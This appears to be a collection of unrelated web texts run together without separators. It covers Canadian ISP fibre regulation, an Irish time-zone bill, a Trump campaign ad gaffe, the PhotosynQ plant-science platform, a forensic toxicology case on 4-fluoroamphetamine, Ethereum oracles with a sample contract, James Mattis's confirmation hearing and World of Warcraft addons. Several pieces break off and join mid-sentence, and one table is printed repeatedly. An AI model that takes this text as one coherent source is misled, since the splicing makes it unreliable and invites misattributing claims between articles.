That's something some of them have done on a small scale. But they couldn't do it on the national level that Bell, Telus and Rogers, can, says Bill Sandiford, president and CEO of the Canadian Network Operators' Consortium, which represents 33 small, independent internet providers.
Higher costs for small ISPs
It would cost independent ISPs far more to build the same infrastructure than it would cost companies like Bell, he added.
"This is because for more than a century, these companies enjoyed taxpayer subsidies and protection from competition, as well as other exclusive benefits such as exclusive rights-of-way and building access," Sandiford wrote in an opinion piece in the Globe and Mail.
In order to support the business case for building fibre, Bell says, the company needs customers to subscribe not just to internet, but also TV and home phone services. (CBC)
That allowed them to build a huge network of underground conduits and above-ground poles useful for building fibre networks that smaller internet providers don't have access to.
"The cost per kilometre if you're just pulling through conduits could be $10,000 per kilometre. Whereas if you're digging up a city street, it could be a quarter-million dollars a kilometre," Sandiford said in an interview with CBC News. "The difference is vast."
He doesn't believe that Bell will scale back installation of fibre networks. That's because the company has told investors that the CRTC decision "could" have a negative impact, but it wouldn't know the effect of the ruling, "if any," until the CRTC decides what wholesale rates Bell can charge.
"We think it's just regulatory gaming," Sandiford said.
Tabish of Open Media agreed.
He noted that Bell, Rogers and Telus all announced that they would be expanding their fibre networks after the CRTC decision was made.
"We've seen no evidence it's going to have a detrimental effect on investment," he said.
He doesn't agree that independent ISPs should be forced to build all their own fibre connections, which he calls "unnecessary duplication."
"Where ISPs should be competing is at the level of services," he said. "Who's got the best customer service? Who's got the best deal on the best speeds?"
He thinks when small ISPs offer competing packages, prices for fibre internet will go down. Although independent ISPs have only 10 per cent of the home internet market, he said, 25 per cent of businesses rely on them.
"If those indie providers get cut off from fibre services," he added, "Canadian business are going to have a real shortage of choice for affordable access and that could become a significant dead weight as Canada tries to transition to the so-called knowledge economy of the 21st century."Proposals in Dublin to move the Republic of Ireland to a different time zone are “ludicrous”, a former Ulster Unionist leader has said.
The Dail is consulting the public on a Brighter Evenings Bill, which would allow the Republic’s justice minister, who is responsible for time, to report on the costs and benefits of moving the Republic to the Central European Time Zone.
If the bill is passed as it currently stands, the minister would also be able to move the Republic’s time forward by an hour for a three-year trial period, and then make the move permanent if he believed it had been beneficial.
Supporters of the move argue that it could lead to reduced road deaths, increased vitamin D levels and less energy consumption.
Last year Sinn Fein spoke out against the move, with Fermanagh and South Tyrone MLA Phil Flanagan denouncing it as a “ridiculous” proposal which goes against his party’s push for greater all-island harmonisation.
Now fellow Fermanagh MLA Tom Elliott has also strongly opposed the proposal, saying that the British Isles should remain under a single time zone.
The UUP MLA said: “We have the likes of Belcoo in Fermanagh and Blacklion in Cavan which are essentially the same settlement divided by the border.
“You cross a bridge between the two, and if these plans went ahead, you would be stepping into a different time zone.
“Then there is Belleek which is split across the border. The proposed change would affect dozens of border towns in Northern Ireland equating to thousands of people.
“What about traders and bank transfers for people living in border areas? It doesn’t appear that much thought has been given to how this proposal might affect them at all. It seems ludicrous.”Republican presidential front-runner Donald Trump Donald John TrumpREAD: Cohen testimony alleges Trump knew Stone talked with WikiLeaks about DNC emails Trump urges North Korea to denuclearize ahead of summit Venezuela's Maduro says he fears 'bad' people around Trump MORE has altered a campaign ad that was posted Friday morning after it was discovered that a shot in the film featured Russian veterans instead of Americans.
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The ad was intended to promote veterans' issues. The original video shows Trump speaking while sitting at a desk before cutting away to the shot of the Russian veterans.
“Our great veterans are being treated terribly,” Trump says while seated at a desk.
“The corruption in the Veteran’s administration, the incompetence is beyond. We will stop that. Illegal immigrants are treated better, in many cases, than our veterans. That's not happening if Trump becomes president. Believe me, our veterans will be proud again," he adds.
Josh Perry, a campaign aide for GOP presidential candidate Ted Cruz Rafael (Ted) Edward CruzCornyn less popular than Cruz in Texas: poll Trump unleashing digital juggernaut ahead of 2020 Inviting Kim Jong Un to Washington MORE, tweeted out images of the soldiers' medals that clearly show prominent Russian symbols like the Communist hammer and sickle.
Interesting choice for a photo of veterans in this @realDonaldTrump video: https://t.co/NdxdwpvMDD pic.twitter.com/PiagKGTP8H — Josh Perry (@MrJoshPerry) January 22, 2016
Since it was first posted, the video has been changed to replace the picture with one of the business mogul greeting a man with prosthetic arms who appears to be a veteran.
The Trump campaign made a similar gaffe in its first television ad focusing on immigration that showed images of Morocco while warning against immigrants coming through "our southern border."Can plant data collected in a small field in Malawi tell us anything about crop performance on farms across the US? You might be surprised by the answer to this question, even if you’re a scientist.
After attending the PhotosynQ Workshop held at Michigan State University last week, I felt compelled to write a blog highlighting a completely unique approach to scientific collaboration and data collection introduced by the PhotosynQ project, which, I am confident, will profoundly affect the traditional way we view scientific research and collaboration.
Plant researchers know that it is virtually impossible to exactly reproduce the environmental conditions that affect plant growth and development in the laboratory. The delicate balance inside plant tissues can be adversely affected by only few seconds of exposure to harsh weather conditions, alternating moisture levels or varying soil pH. Not to mention the devastating effects of insects and insect-borne diseases. Until recently, it was not possible to take the plant, together with its microenvironment, back to the lab for experimentation.
This is about to change, thanks to the vision of Professor David M. Kramer, Hannah Distinguished Professor in Photosynthesis and Bioenergetics at Michigan State University, and his team of scientists and engineers. Two years ago, the Kramer team embarked on a mission to make sophisticated science more accessible, convenient and affordable to researchers worldwide. The results of this passion are novel technologies, the PhotosynQ online platform and the Mutispeq hand-held device, that are transforming plant research by facilitating seamless exchange of scientific data and knowledge among researchers worldwide.
The PhotosynQ platform has been designed to measure and analyze various parameters relevant to plant health and development. The data is collected directly in the field with a Multispeq device connected to a computer or smartphone. The device itself has all performance capabilities of a high-end spectrophotometer. Both the PhotosynQ platform and the Multispeq device are open-source technologies, intended to be customized and tailored to the needs of the research community. Version 1.0 of the device is currently in production and scheduled for shipping in early July of 2016 to interested research groups across the world.
But how can this new technology so profoundly affect plant research?
It turns out that it is already doing so, at several different levels.
The Multispeq is produced and distributed to its end users at a fraction of the cost (1-2%) of an instrument with similar capabilities, several hundred dollars to be more precise. The use of the online platform is free of charge to all users who wish to contribute data. This means that research groups in underdeveloped African countries can equally effectively use both technologies, as US-based research labs with millions of dollars in funding. In fact, there are some very active research groups in Malawi that contribute data on a daily basis. Equally important, there are research teams across the US that use the PhotosynQ platform to collaborate virtually on joint research projects.
With the press of a button, and most of the times within a fraction of a second, the Mutispeq takes measurements of a range of plant health parameters, including: chlorophyll content/SPAD, photosynthetically active radiation (PAR) levels, photosystem I and photosystem II efficiency, proton motive force (PMF), and non-photochemical quenching (NPQ). The device can also measure ambient temperature, pressure and humidity and utilizes geotagging and time stamp features from the user’s cell phone. Collected data is instantly stored in the cloud and made available to project participants worldwide. The PhotosynQ team is presently developing additional capabilities for the instrument such as anthocyanin content measurements in the leaves and fruit, as well as soil conductivity, temperature and moisture measurements (with an add-on).
At the moment, there are over one thousand registered users of the PhotosynQ platform from more than 18 participating countries who have collectively taken more than 227,000 measurements. At this early stage in the project, it is hard to try and predict the potential significance of data contributed by researchers worldwide. However, with large data sets, one thing inevitably comes to mind – data mining.
Could any of the identified trends in data be used as predictors for plant/crop performance in the future? And, could these trends be turned into algorithms that can be used to guide farmers in their efforts to maximize crop yield and minimize losses?
Prof. Kramer hinted answers to these important questions during last week’s conference. He showed a data plot which clearly indicated a high degree of correlation between photosynthetic parameters recorded early in a plant’s life and crop yield, months later. And this is where, researchers will largely agree, science meets the real world and has its most profound impact – in practice.
It will be exciting to follow the progress of the PhotosynQ project in the coming months and years. In the meantime, researchers are encouraged to learn more about the technologies it offers and explore the possibility of joining the growing global community of MultispeQ and PhotosynQ users.
For a more detailed recap of the the first PhotosynQ workshop please visit the MSU-DOE Plant Research Laboratory News page.
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Jasenka Piljac Zegarac is a scientist and freelance writer. She holds a PhD in biology and a BS degree in biochemistry, and contributes on a regular basis to several health and science blogs. Her scientific publications have gathered more than 1100 citations. She may be contacted for assistance with a variety of science and medical writing projects.GREEN BAY, Wis. -- The Green Bay Packers made no excuses |
slow pupil light reflex, trembling and restlessness. The serum value of our severely intoxicated patient of 1400 ng/mL greatly exceeded those observed in these DUID reports. Al-Abri et al. (5) reported a case of an 18-year-old male presenting in the emergency department with abrupt onset of nausea, vomiting, shortness of breath, chest tightness and altered mental status 5 h after ingestion of 4-FA. His serum and urine concentrations of 4-FA were 118 and 64,000 ng/mL, respectively. Again, these values are significantly lower than those of observed in our case (Table I).
Table I. Drug Concentration (ng/mL) Serum 23 h post-admission 4-Fluoroamphetamine 1,400 Phencyclidine 4.7 Diazepam 170 Nordiazepam 83 Urine 4 h post-admission 4-Fluoroamphetamine 285,000 Phencyclidine 107 Diazepam ND Nordiazepam ND Urine 23 h post-admission 4-Fluoroamphetamine 124,000 Phencyclidine 12 Diazepam 420 Nordiazepam 2,000 Drug Concentration (ng/mL) Serum 23 h post-admission 4-Fluoroamphetamine 1,400 Phencyclidine 4.7 Diazepam 170 Nordiazepam 83 Urine 4 h post-admission 4-Fluoroamphetamine 285,000 Phencyclidine 107 Diazepam ND Nordiazepam ND Urine 23 h post-admission 4-Fluoroamphetamine 124,000 Phencyclidine 12 Diazepam 420 Nordiazepam 2,000 View Large
Table I. Drug Concentration (ng/mL) Serum 23 h post-admission 4-Fluoroamphetamine 1,400 Phencyclidine 4.7 Diazepam 170 Nordiazepam 83 Urine 4 h post-admission 4-Fluoroamphetamine 285,000 Phencyclidine 107 Diazepam ND Nordiazepam ND Urine 23 h post-admission 4-Fluoroamphetamine 124,000 Phencyclidine 12 Diazepam 420 Nordiazepam 2,000 Drug Concentration (ng/mL) Serum 23 h post-admission 4-Fluoroamphetamine 1,400 Phencyclidine 4.7 Diazepam 170 Nordiazepam 83 Urine 4 h post-admission 4-Fluoroamphetamine 285,000 Phencyclidine 107 Diazepam ND Nordiazepam ND Urine 23 h post-admission 4-Fluoroamphetamine 124,000 Phencyclidine 12 Diazepam 420 Nordiazepam 2,000 View Large
4-FA testing was performed by our gas chromatography–mass spectrometry (GC–MS) method to identify and quantify amphetamines in blood/serum and urine (6). Both 2-fluoroamphetamine (2-FA) and 4-FA were added to our method. The fluoroamphetamine analogs were isolated by liquid/liquid extraction using ammonium hydroxide and n-butyl chloride. The extracted drugs in n-butyl chloride were derivatized using heptafluorobutyric anhydride. The n-butyl chloride was then evaporated to dryness under nitrogen at room temperature. Analysis was performed using a Shimadzu gas chromatography mass spectrometry QP-2010 with EI ionization (Shimadzu Scientific, Inc., Columbia, MD, USA). Chromatographic separation was performed on an Rtx®-5 30 m × 0.32 mm, 0.5 µm capillary column (Restek, Bellefonte, PA, USA) with an initial temperature of 70°C with a hold time of 1 min, then a 20°C/min ramp climbing to 320°C and holding for 0.5 min. The temperatures were set to 250°C for the injection port, 260°C for the ion source and 280°C for the interface. The total flow rate was 42.1 mL/min with a column flow of 3.65 mL/min. The following ions (quantitative and qualifiers) were monitored in single ion monitoring mode at 70 eV for: 2-FA, 240, 136 and 109 m/z; 4-FA, 240, 136 and 109 m/z; and the internal standard 4-FA-d 5, 244 and 141 m/z. The retention times in minutes for common amphetamine analytes were: 2-FA, 5.77; amphetamine, 5.83; 4-FA, 5.93; 4-FA-d 5, 5.9; methamphetamine, 6.50; 3,4-methylenedioxyamphetamine (MDA), 7.85; MDMA, 8.49 and 3,4-methylenedioxyethylamphetamine, 8.69. Seven point calibration curves ranging from 50 to 5,000 ng/mL displayed r2 values of 0.9978 or greater. The limit of quantitation was administratively set at 50 ng/mL for each drug. Quality control samples containing 2-FA and 4-FA at 50, 150, 300, 4,000 and 10,000 ng/mL were analyzed. Validation criteria for calibrators and quality control specimens as well as absolute recovery, bias, precision, carryover and specificity were acceptable according to industry standards (7). Amphetamine, methamphetamine, MDA and MDMA added at 10,000 ng/mL did not interfere with the determination of either fluoroamphetamine isomer.
Funding
This work was supported in part by the National Institutes of Health grant (P30DA033934).
Conflict of interest
The authors alone are responsible for the content and writing of the paper.
References
1 Laskowski L.K. Landry A. Vassallo S.U. Hoffman R.S. 2015 ) Ice water submersion for rapid cooling in severe drug-induced hyperthermia. Clinical Toxicology, 53, 181 – 184. 2 Wee S. Anderson K.G. Baumann M.H. Rothman R.B. Blough B.E. Woolverton W.L. 2005 ) Relationship between the serotonergic activity and reinforcing effects of a series of amphetamine analogs. Journal of Pharmacology and Experimental Therapeutics, 313, 848 – 854. 3 Johansen S.S. Hansen T.M. 2012 ) Isomers of fluoroamphetamines detected in forensic cases in Denmark. International Journal of Legal Medicine, 126, 541 – 547. 4 Rohrich J. Becker J. Kaufmann T. Zorntlein S. Urban R. 2012 ) Detection of the synthetic drug 4-fluoroamphetamine (4-FA) in serum and urine. Forensic Science International, 215, 3 – 7. 5 Al-Abri S.A. Meier K.H. Colby J.M. Smollin C.G. Benowitz N.L. 2014 ) Cardiogenic shock after use of fluoroamphetamine confirmed with serum and urine levels. Clinical Toxicology, 52, 1292 – 1295. 6 Moore K.A. Soine W.H. Poklis A. 1995 ) alpha-Benzyl-N-Methylphenylamine (BNMPA) an impurity of illict methamphetamine synthesis: l. physical characterization and GC/MS analysis of BNMPA and anticipated metabolites in urine. Journal of Analytical Toxicology, 19, 549 – 553. 7 2013 ) Report from the Scientific Working Group for Forensic Toxicology: Scientific Working Group for Forensic Toxicology (SWGTOX) standard practices for method validation in forensic toxicology. Journal of Analytical Toxicology, 37, 452 – 474.. (
© The Author 2016. Published by Oxford University Press. All rights reserved. For Permissions, please email: [email protected] of the more popular proposals for implementing smart contracts differently from the way they are typically presented in Ethereum is through the concept of oracles. Essentially, instead of a long-running contract being run directly on the blockchain, all funds that are intended to go into the contract would instead go into an M-of-N multisig address controlled by a set of specialized entities called "oracles", and the contract code would be simultaneously sent to all of these entities. Every time someone wants to send a message to the contract, they would send the message to the oracles. The oracles would run the code, and if the code execution leads to a withdrawal from the contract to some particular address then the oracles circulate a transaction sending the funds and sign it.
The approach is still low-trust, as no single oracle has the ability to unilaterally withdraw the funds, but it has a number of particular advantages:
Not every node in the blockchain needs to perform the computation - only a small number of oracles do It theoretically does not require as a platform anything more complicated than Bitcoin or Ripple as they currently stand Contracts have a somewhat higher degree of privacy - although exit transactions are still all visible, internal computations may not be. The scheme can also be augmented with secure multiparty computation protocols so the contract can even contain private information (something that would take efficient and secure obfuscation to work directly on Ethereum) Contracts can rely on external information (eg. currency prices, weather) since it is much easier for N nodes to come to consensus on the result of an HTTP request than an entire blockchain. In fact, they can even rely on data from proprietary APIs, if the oracles subscribe to the APIs and pass along the costs to the contract users.
Given all of these advantages, it is undeniably clear that oracles have the potential to be a very useful paradigm for smart contracts going forward. However, the key question is, how will oracle-based computation and blockchain-based computation, as in Ethereum, interact with each other?
Oracles Are Not Always Better
First of all, one important point to make is that it will not always be the case that the oracle-based method of contract execution will be more efficient than the blockchain-based approach (not to mention non-currency/non-contract uses of the blockchain such as name registries and the People's Republic of DOUG where oracle systems do not even begin to apply). A common misconception is that the primary feature of Ethereum is that it is Turing-complete, and so while Bitcoin only allows quick scripts for verification Ethereum contracts are means to do much harder and computationally intensive tasks. This is arguably a misconception. The primary feature of Ethereum is not Turing-completeness; in fact, we have a section in our whitepaper which makes the argument that even if we explicitly removed the ability of Ethereum contracts to be Turing-complete it would actually change very little and there would still be a need for "gas". In order to make contracts truly statically analyzable, we would need to go so far as to remove the first-class-citizen property (namely, the fact that contracts can create and call other contracts), at which point Ethereum would have very limited utility. Rather, the primary feature of Ethereum is state - Ethereum accounts can contain not just a balance and code, but also arbitrary data, allowing for multi-step contracts, long-running contracts such as DOs/DACs/DAOs and particularly non-financial blockchain-based applications to emerge. For example, consider the following contract:
init: contract.storage[0] = msg.data[0] # Limited account contract.storage[1] = msg.data[1] # Unlimited account contract.storage[2] = block.timestamp # Time last accessed code: if msg.sender == contract.storage[0]: last_accessed = contract.storage[2] balance_avail = contract.storage[3] # Withdrawal limit is 1 finney per second, maximum 10000 ether balance_avail += 10^15 * (block.timestamp - last_accessed) if balance_avail > 10^22: balance_avail = 10^22 if msg.data[1] <= balance_avail: send(msg.data[0], msg.data[1]) contract.storage[3] = balance_avail - msg.data[1] contract.storage[2] = block.timestamp # Unlimited account has no restrictions elif msg.sender == contact.storage[1]: send(msg.data[0], msg.data[1])
This contract is pretty straightforward. It is an account with two access keys, where the first key has a withdrawal limit and the second key does not. You can think of it as a cold/hot wallet setup, except that you do not need to periodically go to the cold wallet to refill unless you want to withdraw a large amount of ether all at once. If a message is sent with data [DEST, VALUE], then if the sender is the first account it can send up to a certain limit of ether, and the limit refills at the rate of 1 finney per second (ie. 86.4 ether per day). If the sender is the second account, then the account contract sends the desired amount of ether to the desired destination with no restrictions. Now, let's see what expensive operations are required to execute here, specifically for a withdrawal with the limited key:
An elliptic curve verification to verify the transaction 2 storage database reads to get the last access time and last withdrawable balance 1 storage database write to record the balance changes that result from the sending transaction 2 storage database writes to write the new last access time and withdrawable balance
There are also a couple dozen stack operations and memory reads/writes, but these are much faster than database and cryptography ops so we will not count them. The storage database reads can be made efficient with caching, although the writes will require a few hashes each to rewrite the Patricia tree so they are not as easy; that's why SLOAD has a gas cost of 20 but SSTORE has a cost of up to 200. Additionally, the entire transaction should take about 160 bytes, the Serpent code takes up 180 bytes, and the four storage slots take up 100-150 bytes - hence, 350 bytes one-time cost and 160 bytes bandwitdh per transaction.
Now, consider this contract with a multisig oracle. The same operations will need to be done, but only on a few servers so the cost is negligible. However, when the multisig transaction is sent to Bitcoin, if the multisig is a 3-of-5 then three elliptic curve verifications will be required, and the transaction will require 65 bytes per signature plus 20 bytes per public key so it will take about 350-400 bytes altogether (including also metadata and inputs). The blockchain storage cost will be around 50 bytes per UTXO (as opposed to a static 350 in Ethereum). Hence, assuming that an elliptic curve verification takes longer than a few hashes (it does), the blockchain-based approach is actually easier. The reason why this example is so favorable is because it is a perfect example of how Ethereum is about state and not Turing-completeness: no loops were used, but the magic of the contract came from the fact that a running record of the withdrawal limit could be maintained inside the contract.
(Note: advanced cryptographers may note that there is a specialized type of threshold signature that actually requires only one verification operation even if a large number of oracles are used to produce it. However, if we use a currency with such a feature built-in, then we are already abandoning Bitcoin's existing infrastructure and network effect; in that case, why not just use the Ethereum contract?)
But Sometimes They Are
At other times, however, oracles do make sense. The most common case that will appear in reality is the case of external data; sometimes, you want a financial contract that uses the price of the US dollar, and you can't cryptographically determine that just by doing a few hashes and measuring ratios. In this case, oracles are absolutely necessary. Another important case is smart contracts that actually are very hard to evaluate. For example, if you are purchasing computational resources from a decentralized cloud computing application, verifying that computations were done legitimately is not a task that the Ethereum blockchain can cheaply handle. For most classes of computation, verifying that they were done correctly takes exactly as long as doing them in the first place, so the only way to practically do such a thing is through occasional spot-checking using, well, oracles. Another cloud-computing use case for oracles, although in this context we do not think of them as such, is file storage - you absolutely do not want to back up your 1GB hard drive onto the blockchain.
An additional use-case, already mentioned above, is privacy. Sometimes, you may not want the details of your financial contracts public, so doing everything on-chain may not be the best idea. Sure, you can use standard-form contracts, and people won't know that it's you who is making a contract for difference between ETH and USD at 5:1 leverage, but the information leakage is still high. In those cases, you may want to limit what is done on-chain and do most things off-chain.
So How Can They Work Together
So we have these two paradigms of total on-chain and partial on-chain, and they both have their relative strengths and weaknesses. However, the question is, are the two really purely competitive? The answer is, as it turns out, no. To further this point, here are a few particular examples:
SchellingCoin - incentivized decentralized oracles. The SchellingCoin protocol is a proof-of-concept that shows how we can create a decentralized oracle protocol that is incentive-compatible: have a two-step commitment protocol so that oracles do not initially know what each other's answers are, and then at the end have an Ethereum contract reward those oracles that are closest to the median. This incentivizes everyone to respond with the truth, since it is very difficult to coordinate on a lie. An independently conceived alternative, TruthCoin, does a similar thing for prediction markets with binary outcomes (eg. did the Toronto Maple Leafs win the World Cup?). Verifiable computation oracles - when the oracles in question are executing moderately computationally intensive code, then we can actually go beyond the admittedly flaky and untested economics of the SchellingCoin/TruthCoin protocols. The idea is as follows. By default, we have M of N oracles running the code and providing their votes on the answers. However, when an oracle is perceived to vote incorrectly, that oracles can be "challenged". At that point, the oracle must provide the code to the blockchain, the blockchain checks the code against a pre-provided hash and runs the code itself, and sees if the result matches. If the result does not match, or if the oracle never replies to the challenge, then it loses its security deposit. The game-theoretic equilibrium here is for there to be no cheating at all, since any attempt at cheating necessarily harms some other party and so that party has the incentive to perform a check. Signature batching - one of the problems that I pointed out with the multisig oracle approach above is signature bloat: if you have three oracles signing everything, then that's 195 extra bytes in the blockchain and three expensive verification operations per transaction. However, with Ethereum we can be somewhat more clever - we can come up with a specialized "oracle contract", to which oracles can submit a single transaction with a single signature with a large number of votes batched together: [addr1, vote1, addr2, vote2... ]. The oracle contract then processes the entire list of votes and updates all of the multisig voting pools contained inside it simultaneously. Thus, one signature could be used to back an arbitrarily large number of votes, reducing the scalability concerns substantially. Blockchain-based auditing - the concept of oracle-based computation can actually go much further than the "Bitcoin multisig oracle" (or, for that matter, Ethereum multisig oracle) idea. The extreme is an approach where oracles also decide the one thing that the Bitcoin-based schemes still leave the blockchain to decide: the order of transactions. If we abandon this requirement, then it is possible to achieve much higher degrees of efficiency by having an oracle maintain a centralized database of transactions and state as they come, providing a signed record of each new balance sheet as a transaction is applied, allowing for applications like microtransactions and high-frequency trading. However, this has obvious trust-problems; particularly, what if the oracle double-spends? Fortunately, we can set up an Ethereum contract to solve the problem. Much like the verifiable computation example above, the idea is that by default everything would run entirely on the oracle, but if the oracle chooses to sign two different balance sheets that are the result of incompatible transactions then those two signatures can be imported into Ethereum, and the contract will verify that those two signatures are valid, and if they are the contract will take away the oracle's security deposit. More complicated schemes to deal with other attack vectors are also possible. Verifiable secure multiparty computation - in the case where you are using oracles specifically for the purpose of maintaining private data, you can set up a protocol where the oracles securely choose a new secret key using multiparty random number generation every 24 hours, sign a message with the old key to prove to the world that the new key has authority, and then have to submit all of the computations that they made using the old key to the Ethereum blockchain for verification. The old key would be revealed, but it would be useless since a message transferring ownership rights to the new key is already in the blockchain several blocks before. Any malfeasance or nonfeasance revealed in the audit would lead to the loss of a security deposit.
The larger overarching point of all this is that the primary raison d'être of Ethereum is not just to serve as a smart contract engine; it is more generally to serve as a world-wide trust-free decentralized computer, albeit with the disadvantages that it can hold no secrets and it is about ten thousand times slower than a traditional machine. The work in developing cryptoeconomic protocols to ensure that ordinary people have access to reliable, trustworthy and efficient markets and institutions is not nearly done, and the most exciting end-user-centric innovation is likely what will be built on top. It is entirely possible to have systems which use Ethereum for one thing, an M-of-N oracle setup for another thing, and some alternative network like Maidsafe for something else; base-level protocols are your servant, not your master.
Special thanks to Vlad Zamfir for some of the ideas behind combining oracles and EthereumThe prospective incoming Secretary of Defense, Retired Marine General James Mattis, speaking at his confirmation hearing, refused to acknowledge that the capital of Israel is Jerusalem.
Speaking to the Senate Armed Services Committee, Mattis appeared to be less-than-staunch supporter of Israel in many ways:
He ignored the fact that Israel claims Jerusalem is its capital, which as a sovereign state it has the right to decide, saying, "Right now, I'd stick with the U.S. policy. The capital of Israel that I go to is Tel Aviv,” adding, "That's where all the government people are.” The U.S. embassy is in Tel Aviv; the United States has never acknowledged Jerusalem is Israel’s capital. Mattis supports the two-state solution, which has never shown signs of being feasible, since the Palestinians have never acknowledged the legitimacy of the Jewish state. He also seemed to threaten Israel, saying Israel's qualitative military edge in the region was dependent on "improved relationships" between Israel and its Arab neighbors. Mattis did not say he was in favor of scrapping the Iranian nuclear deal, arguing that the U.S. should be able to monitor it successfully, although he said he needed to "see the actual data" before giving an authoritative answer. Most egregiously, Mattis refused to condemn the recent United Nations Security Council anti-Israel resolution that stated that the Temple Mount, the holiest place in Judaism, was not under Israeli sovereignty. He would only say, "It's time to build trust. We should be a partner.”
In 2013, Mattis said: “I paid a military security price every day as the commander of CentCom because the Americans were seen as biased in support of Israel, and that moderates all the moderate Arabs who want to be with us, because they can’t come out publicly in support of people who don’t show respect for the Arab Palestinians.” He added that Israeli “settlements” “are going to make it impossible to maintain the two-state option.”
There was more; Mattis stated that Israeli settlements could lead to apartheid, “If I’m in Jerusalem and I put 500 Jewish settlers out here to the east and there’s 10,000 Arab settlers in here, if we draw the border to include them, either it ceases to be a Jewish state or you say the Arabs don’t get to vote — apartheid. That didn't work too well the last time I saw that practiced in a country."”Beating a boss with the default UI. Crazysauce, I know.
Here we were, running through a fresh dungeon that only beta testers had seen before, and already we were voting to kick people. WoW's addon culture ensures that this kind of crap happens all the time, but unique circumstances caused this incident to stand out. This wasn't some sleepy run through old dungeons during WoW's content drought a couple of months ago; no, this was my first dungeon run during the live release of Mists of Pandaria, only moments after the expansion went live after midnight on September 25th. Here we were, running through a fresh dungeon that only beta testers had seen before, and already we were voting to kick people based on an addon's testimony. After the weeks I'd spent in Guild Wars 2's add-on free environment and warm-and-fuzzy helpful community, the culture shock of coming back to World of Warcraft and experiencing this brand of pettiness was like using an electric chair for a car seat.
Sleeping with the Enemy
Mind you, I won't say I'm completely against addons. My main enjoyment from PvE raids and dungeon runs comes from staying on top of the Recount damage meters with my warrior these days, and I refuse to use the auction house without Auctionator, a handy tool that automatically undercuts everyone so I don't have to spend an hour comparing prices. I then use Postal to open all my sold auctions at once at my mailbox, and I use Gatherer to keep track of mineral and herb spawns when I'm building up supplies for my next auction house dump. A recent favorite is SellJunk, which automatically sells all the "trash" items in my inventory so I don't have to spend an eternity sorting through it. That chore didn't bother me in the past, but I've built up an intolerance for it after experiencing so many MMORPGs that have this feature already built in.
When 1.6 million people download an addon in one month, is it still optional?
I believe mods have had a hand in all the complaints about WoW's alleged slide into casual-friendly easiness. Someday, I imagine, WoW will work something like SellJunk into the native client based on its history with its flourishing addon community. Indeed, another downside to addons is that I believe they've had a hand in all the complaints about WoW's alleged slide into casual-friendly easiness, particularly since the most popular ones eventually find their way into the design. The old joke about everyone asking about Mankrik's Wife in the Horde chat channel for the Barrens zone, for instance, became an anachronism once the ideas behind addons like QuestHelper became native (thereby pointing out quest objectives on the map so you don't have to ask). Addons like Deadly Boss Mods and Big Wigs made raid and dungeons infinitely more manageable by including countdowns for raid mechanics or triggering alarms when a player's standing in the dreaded fire, and they've become common enough that Blizzard's started working elements of them into the native warnings for boss fights. Still, the mods retain the upper hand by calling out alarms that Blizzard thought were too obvious to bother with, rendering many of World of Warcraft's already-easy dungeon encounters even easier.
Yeah, If Only
I know what you're saying: "If you don't like these conveniences, Leif, then don't use them." That might work if you just planned on leveling to the cap and doing nothing in the endgame. Apply for almost any guild that has higher ambitions than queuing together through the Raid Finder tool, however, and there's a good chance that they'll require add-ons like DBM or BigWigs for raiding these days. Performance-based addons like Recount remain important as well, since they point a big red arrow at the weak links and allow you to adjust your strategy or raid composition accordingly. At their best, addons like DBM and Recount enable smoother raids because the raid leader doesn't have to call out every single new mechanic on their encounter; at their worst, they encourages spite over encouragement in random groups, thereby shattering any sense of community.
Do you really need an addon to tell you to avoid that?
Take my second Temple of the Jade Serpent run, which I also joined through the random dungeon finder. On this occasion, one of the players almost died after he stood in the nasty water that bubbled up after an elemental was defeated. Rather than just offering a helpful "Stay out of the water," one of my random so-called comrades unleashed this gem: "If you'd learn how to f***ing play and download DBM, you'd know when you're in that shit." As if you couldn't tell by looking at it. The hapless player joked that he didn't think water would could be dangerous, and sure enough, we didn't have any problems with it for the rest of the run, thus proving that he didn't need an addon telling him what to do in order to "learn to play."
Not a Name, But a Number
In today's WoW, unfortunately, addons increasingly dehumanize players. In fact, in a simpler time, dealing with these little bouts of trial and error was how we learned. Helping other players wasn't seen as an obstacle, and the true triumph of overcoming a difficult boss encounter arose from the knowledge that we'd worked well together as a team. In today's WoW, unfortunately, addons increasingly dehumanize players. We saw it most prominently a couple of years ago with the GearScore addon that judged players solely by the numerical values of their gear, and then Blizzard essentially institutionalized it with the new item level requirements. Instead of using Recount as a tool to give advice to underperforming group members who may just be new to the game, jerks like my grumpy Tank use it as a tool to simply kick players who aren't playing according to their standards. DBM, too, takes a lot of skill out of the equation for some players, and boss fights thus devolve into listening for prompts rather than watching the action for yourself.
Ah, sweet simplicity!
The absence of similar addons works in a game like Guild Wars 2 because its entire design centers on helping other players directly. That's why, at least for folks like me, it's hard not to fall for MMORPGs like Guild Wars 2 (and even Star Wars: The Old Republic) that have the guts to dump addons altogether. It wasn't too long ago that such austerity seemed unthinkable; at the time, WoW sat firmly on its throne and its open policy toward addons seem to encourage innovation. These days alternatives exist, and it's possible to find in them a ghost of that random camaraderie that so many of us enjoyed in the genre's early years. And yet, to my horror, I find that I can't devote myself to these idealistic projects completely. The absence of similar addons works in a game like Guild Wars 2 because its entire design centers on helping other players directly and because ArenaNet stubbornly refuses to include anything like a traditional PvE raid, but I find myself looking for concrete evidence that I'm doing as well as I think I am in a dungeon or battleground. I applaud BioWare's decision to open limited damage meters for Star Wars: The Old Republic for guilds who want it, but the endgame as a whole feels too similar to World of Warcraft's to forsake my old guild.
We Can Work It Out
I thus find that these contrasting philosophies toward addons push me in two different directions. World of Warcraft remains the MMORPG I play when I want to feel a clear sense of progression while raiding with my guild, and for better or for worse addons help me achieve that sense of progress. Guild Wars 2, on the other hand, has become the game I play when I want to relax and enjoy myself in an MMORPG, and I think a lot of that comfort arises from the knowledge that players have no way to judge me or others aside from my combat decisions in a dungeon or a PvP instance. For now, Guild Wars 2's lack of a subscription plan makes it easy for these two to coexist on my limited schedule, but I won't deny that I worry that WoW will still win out in the end.
At this point, I just can't decide. Maybe there's an addon for that?
Even mods have a dark side -- in a way, mods that give you extra information that a game's designers never intended you to have are kind of sort of cheating, even if they don't actually enable god mode. Have you ever felt like a UI mod made a game worse rather than better, but you used it anyway?
The evidence was irrefutable -- according to Recount, a popular addon that tracks combat information for World of Warcraft, the Rogue in our group wasn't pulling his weight. We'd already defeated three bosses in the Temple of the Jade Serpent in which the Rogue had dealt far less damage than the two other DPS classes in the party, and now the Tank was in a fit of rage, even though we'd never come close to wiping. And so, perhaps inevitably, the voting screen to kick the roguish fellow from the group popped up. The vote failed -- everyone except the Tank voted no -- and the angry tank abandoned us in a huff, effectively ending the dungeon run.Band have already been confirmed for this year's Isle Of Wight Festival
Arcade Fire have announced three new UK and Ireland shows.
